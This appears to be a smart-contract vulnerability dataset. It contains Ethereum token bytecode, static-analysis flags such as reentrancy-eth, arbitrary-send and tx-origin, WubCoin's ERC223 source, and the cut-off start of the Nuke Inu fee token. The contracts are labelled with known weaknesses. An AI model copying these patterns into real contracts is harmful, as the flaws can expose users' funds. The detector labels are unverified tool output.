60405180910390a1565b6000546001600160a01b0316336001600160a01b0316146108035760405162461bcd60e51b81526004016104b19061188a565b600a54600160a01b900460ff161561085d5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104b1565b601180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556108993082670de0b6b3a7640000610c2f565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156108d257600080fd5b505afa1580156108e6573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061090a919061172b565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561095257600080fd5b505afa158015610966573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061098a919061172b565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156109d257600080fd5b505af11580156109e6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a0a919061172b565b600a80546001600160a01b039283166001600160a01b03199091161790556011541663f305d7194730610a52816001600160a01b03166000908152600e602052604090205490565b600080610a676000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610aca57600080fd5b505af1158015610ade573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610b03919061180a565b5050600a805462ff00ff60a01b1981166201000160a01b1790915560115460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610b6d57600080fd5b505af1158015610b81573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ba591906117ea565b5050565b600082610bb857506000610478565b6000610bc483856119ad565b905082610bd1858361198d565b14610c285760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104b1565b9392505050565b6001600160a01b038316610c915760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104b1565b6001600160a01b038216610cf25760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104b1565b6001600160a01b038381166000818152600f602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610db75760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104b1565b6001600160a01b038216610e195760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104b1565b60008111610e7b5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104b1565b6000610e87848461125b565b90506000610ea360ff8316610e9d8560646112d1565b90610ba9565b90506000610eb18483611313565b600a54909150600160b81b900460ff161561106157600a546001600160a01b0386811691161480610eef5750600a546001600160a01b038781169116145b8015610f045750600a54600160a01b900460ff165b1561106157601054600a546040516312bdf42360e01b81526001600160a01b03888116600483015291821660248201523260448201529116906312bdf42390606401602060405180830381600087803b158015610f6057600080fd5b505af1158015610f74573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f9891906117ea565b15610fb55760405162461bcd60e51b81526004016104b1906118bf565b601054600a546040516312bdf42360e01b81526001600160a01b03898116600483015291821660248201523260448201529116906312bdf42390606401602060405180830381600087803b15801561100c57600080fd5b505af1158015611020573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061104491906117ea565b156110615760405162461bcd60e51b81526004016104b1906118bf565b61106a85611355565b15611095576007546001600160a01b0386166000908152600e60205260409020541061109557600080fd5b61109f8686611387565b156110cb576110ae86866113cf565b156110c2576005548411156110c257600080fd5b6110cb86611426565b6001600160a01b0386166000908152600e60205260409020546110ee9085611313565b6001600160a01b038088166000908152600e6020526040808220939093559087168152205461111d9082611455565b6001600160a01b0386166000908152600e60205260408082209290925530815220546111499083611455565b306000908152600e602090815260409182902092909255518281526001600160a01b0387811692908916917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3600a54600160b81b900460ff16156112195760105460405163b25d625960e01b81526001600160a01b03888116600483015287811660248301529091169063b25d625990604401600060405180830381600087803b15801561120057600080fd5b505af1158015611214573d6000803e3d6000fd5b505050505b505050505050565b600081848411156112455760405162461bcd60e51b81526004016104b19190611837565b50600061125284866119cc565b95945050505050565b6001600160a01b0382166000908152600d6020526040812054819060ff168061129c57506001600160a01b0383166000908152600d602052604090205460ff165b159050806112af576009805460ff191690555b80156112c3576009805460ff191660051790555b505060095460ff1692915050565b6000610c2883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506114b4565b6000610c2883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611221565b600a546000906001600160a01b038381169116148015906104785750506011546001600160a01b039081169116141590565b600080546001600160a01b038481169116148015906113b457506000546001600160a01b03838116911614155b8015610c28575050600a54600160a01b900460ff1692915050565b600a546000906001600160a01b0384811691161480156113fd57506011546001600160a01b03838116911614155b8015610c285750506001600160a01b03166000908152600d602052604090205460ff1615919050565b306000908152600e602052604090205461143f826114e2565b15610ba55761144d81611527565b610ba56116cc565b6000806114628385611975565b905083811015610c285760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104b1565b600081836114d55760405162461bcd60e51b81526004016104b19190611837565b506000611252848661198d565b600a54600090600160a81b900460ff1615801561150d5750600a546001600160a01b03838116911614155b8015610478575050600a54600160b01b900460ff16919050565b600a805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061157d57634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156115d157600080fd5b505afa1580156115e5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611609919061172b565b8160018151811061162a57634e487b7160e01b600052603260045260246000fd5b6001600160a01b0392831660209182029290920101526011546116509130911684610c2f565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac94790611689908590600090869030904290600401611905565b600060405180830381600087803b1580156116a357600080fd5b505af11580156116b7573d6000803e3d6000fd5b5050600a805460ff60a81b1916905550505050565b6009546040516001600160a01b0361010090920491909116904780156108fc02916000818181858888f1935050505015801561170c573d6000803e3d6000fd5b50565b600060208284031215611720578081fd5b8135610c2881611a34565b60006020828403121561173c578081fd5b8151610c2881611a34565b60008060408385031215611759578081fd5b823561176481611a34565b9150602083013561177481611a34565b809150509250929050565b600080600060608486031215611793578081fd5b833561179e81611a34565b925060208401356117ae81611a34565b929592945050506040919091013590565b600080604083850312156117d1578182fd5b82356117dc81611a34565b946020939093013593505050565b6000602082840312156117fb578081fd5b81518015158114610c28578182fd5b60008060006060848603121561181e578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b8181101561186357858101830151858201604001528201611847565b818111156118745783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526026908201527f42656570204265657020426f6f702c20596f752772652061207069656365206f60408201526506620706f6f760d41b606082015260800190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b818110156119545784516001600160a01b03168352938301939183019160010161192f565b50506001600160a01b03969096166060850152505050608001529392505050565b6000821982111561198857611988611a1e565b500190565b6000826119a857634e487b7160e01b81526012600452602481fd5b500490565b60008160001904831182151516156119c7576119c7611a1e565b500290565b6000828210156119de576119de611a1e565b500390565b600181811c908216806119f757607f821691505b60208210811415611a1857634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b6001600160a01b038116811461170c57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220408b78a7bd60c3abd9b455bfaf431d6c225b4821d5864a68adbeb061000ffc8f64736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "tx-origin", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 3,288 |
0xded90b4ed5131890809e4f6102d0a8c11a20a246
|
pragma solidity ^0.4.11;
/**
* Thank you for checking out WubCoin
*
* WubCoin powers a new generation of electronic music producers, teachers and events.
* For more information visit http://wubcoin.com
*
* Copyright by Stefan K.K https://stefan.co.jp
*/
/**
* @title Contract that will work with ERC223 tokens.
*/
contract ERC223ReceivingContract {
/**
* @dev Standard ERC223 function that will handle incoming token transfers.
*
* @param _from Token sender address.
* @param _value Amount of tokens.
* @param _data Transaction metadata.
*/
function tokenFallback(address _from, uint _value, bytes _data);
}
/**
* Math operations with safety checks
*/
library SafeMath {
function mul(uint a, uint b) internal returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint a, uint b) internal returns (uint) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint a, uint b) internal returns (uint) {
assert(b <= a);
return a - b;
}
function add(uint a, uint b) internal returns (uint) {
uint c = a + b;
assert(c >= a);
return c;
}
function max64(uint64 a, uint64 b) internal constant returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal constant returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal constant returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal constant returns (uint256) {
return a < b ? a : b;
}
function assert(bool assertion) internal {
if (!assertion) {
throw;
}
}
}
contract ERC20CompatibleToken {
using SafeMath for uint;
mapping(address => uint) balances; // List of user balances.
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint256 value);
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract ERC223Interface {
uint public totalSupply;
function balanceOf(address who) constant returns (uint);
function transfer(address to, uint value);
function transfer(address to, uint value, bytes data);
}
/**
* @title Based on the reference implementation of the ERC223 standard token.
*/
contract WubCoin is ERC223Interface, ERC20CompatibleToken {
using SafeMath for uint;
string public name = "WubCoin";
string public symbol = "WUB";
uint8 public decimals = 18;
uint256 public totalSupply = 15000000 * 10 ** 18;
function WubCoin(address companyWallet) {
balances[companyWallet] = balances[companyWallet].add(totalSupply);
Transfer(0x0, companyWallet, totalSupply);
}
/**
* We don't accept payments to the token contract directly.
*/
function() payable {
revert();
}
/**
* @dev Transfer the specified amount of tokens to the specified address.
* Invokes the `tokenFallback` function if the recipient is a contract.
* The token transfer fails if the recipient is a contract
* but does not implement the `tokenFallback` function
* or the fallback function to receive funds.
*
* @param _to Receiver address.
* @param _value Amount of tokens that will be transferred.
* @param _data Transaction metadata.
*/
function transfer(address _to, uint _value, bytes _data) {
// Standard function transfer similar to ERC20 transfer with no _data .
// Added due to backwards compatibility reasons .
uint codeLength;
assembly {
// Retrieve the size of the code on target address, this needs assembly .
codeLength := extcodesize(_to)
}
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
if(codeLength>0) {
ERC223ReceivingContract receiver = ERC223ReceivingContract(_to);
receiver.tokenFallback(msg.sender, _value, _data);
}
Transfer(msg.sender, _to, _value);
}
/**
* @dev Transfer the specified amount of tokens to the specified address.
* This function works the same with the previous one
* but doesn't contain `_data` param.
* Added due to backwards compatibility reasons.
*
* @param _to Receiver address.
* @param _value Amount of tokens that will be transferred.
*/
function transfer(address _to, uint _value) {
uint codeLength;
bytes memory empty;
assembly {
// Retrieve the size of the code on target address, this needs assembly .
codeLength := extcodesize(_to)
}
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
if(codeLength>0) {
ERC223ReceivingContract receiver = ERC223ReceivingContract(_to);
receiver.tokenFallback(msg.sender, _value, empty);
}
Transfer(msg.sender, _to, _value);
}
/**
* @dev Returns balance of the `_owner`.
*
* @param _owner The address whose balance will be returned.
* @return balance Balance of the `_owner`.
*/
function balanceOf(address _owner) constant returns (uint balance) {
return balances[_owner];
}
}
|
0x6080604052600436106100ba576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100bf578063095ea7b31461014f57806318160ddd146101b457806323b872dd146101df578063313ce56714610264578063661884631461029557806370a08231146102fa57806395d89b4114610351578063a9059cbb146103e1578063be45fd621461042e578063d73dd623146104c1578063dd62ed3e14610526575b600080fd5b3480156100cb57600080fd5b506100d461059d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101145780820151818401526020810190506100f9565b50505050905090810190601f1680156101415780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561015b57600080fd5b5061019a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061063b565b604051808215151515815260200191505060405180910390f35b3480156101c057600080fd5b506101c961072d565b6040518082815260200191505060405180910390f35b3480156101eb57600080fd5b5061024a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610733565b604051808215151515815260200191505060405180910390f35b34801561027057600080fd5b50610279610af2565b604051808260ff1660ff16815260200191505060405180910390f35b3480156102a157600080fd5b506102e0600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b05565b604051808215151515815260200191505060405180910390f35b34801561030657600080fd5b5061033b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d96565b6040518082815260200191505060405180910390f35b34801561035d57600080fd5b50610366610ddf565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103a657808201518184015260208101905061038b565b50505050905090810190601f1680156103d35780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156103ed57600080fd5b5061042c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e7d565b005b34801561043a57600080fd5b506104bf600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050611152565b005b3480156104cd57600080fd5b5061050c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611424565b604051808215151515815260200191505060405180910390f35b34801561053257600080fd5b50610587600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611620565b6040518082815260200191505060405180910390f35b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106335780601f1061060857610100808354040283529160200191610633565b820191906000526020600020905b81548152906001019060200180831161061657829003601f168201915b505050505081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60065481565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561077057600080fd5b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156107be57600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561084957600080fd5b61089b82600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116a790919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061093082600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116c090919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a0282600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116a790919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600560009054906101000a900460ff1681565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610c16576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610caa565b610c2983826116a790919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60048054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610e755780601f10610e4a57610100808354040283529160200191610e75565b820191906000526020600020905b815481529060010190602001808311610e5857829003601f168201915b505050505081565b600060606000843b9250610ed984600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116a790919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610f6e84600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116c090919063ffffffff16565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060008311156110e6578490508073ffffffffffffffffffffffffffffffffffffffff1663c0ee0b8a3386856040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b8381101561107f578082015181840152602081019050611064565b50505050905090810190601f1680156110ac5780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b1580156110cd57600080fd5b505af11580156110e1573d6000803e3d6000fd5b505050505b8473ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a35050505050565b600080843b91506111ab84600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116a790919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061124084600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116c090919063ffffffff16565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060008211156113b8578490508073ffffffffffffffffffffffffffffffffffffffff1663c0ee0b8a3386866040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b83811015611351578082015181840152602081019050611336565b50505050905090810190601f16801561137e5780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b15801561139f57600080fd5b505af11580156113b3573d6000803e3d6000fd5b505050505b8473ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a35050505050565b60006114b582600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116c090919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60006116b5838311156116de565b818303905092915050565b60008082840190506116d4848210156116de565b8091505092915050565b8015156116ea57600080fd5b505600a165627a7a7230582093ff6afad86b59deb6550f44bb68a828e598021452ddd3d8f2d56445a3266a860029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "shadowing-abstract", "impact": "Medium", "confidence": "High"}, {"check": "erc20-interface", "impact": "Medium", "confidence": "High"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
| 3,289 |
0x88a811397be7d64653d0cb320f5094fc64963c31
|
/*
) ) ( )
( /( ( /( )\ ) ( /(
)\()) ( )\())( (()/( )\()) (
((_)\ )\|((_)\ )\ /(_)|(_)\ )\
_((_)_ ((_)_ ((_|(_) (_)) _((_)_ ((_)
| \| | | | | |/ /| __| |_ _|| \| | | | |
| .` | |_| | ' < | _| | | | .` | |_| |
|_|\_|\___/ _|\_\|___| |___||_|\_|\___/
https://t.me/NukeInuOfficial
https://twitter.com/EthNuke
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract NukeInu is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Nuke Inu";
string private constant _symbol = "NUKE";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 1;
uint256 private _taxFeeOnBuy = 15;
uint256 private _redisFeeOnSell = 1;
uint256 private _taxFeeOnSell = 5;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _marketingAddress = payable(0x56B6af9CcC0FDD5E68C969f43FFe6B8E3c528C5f);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 10000000000 * 10**9;
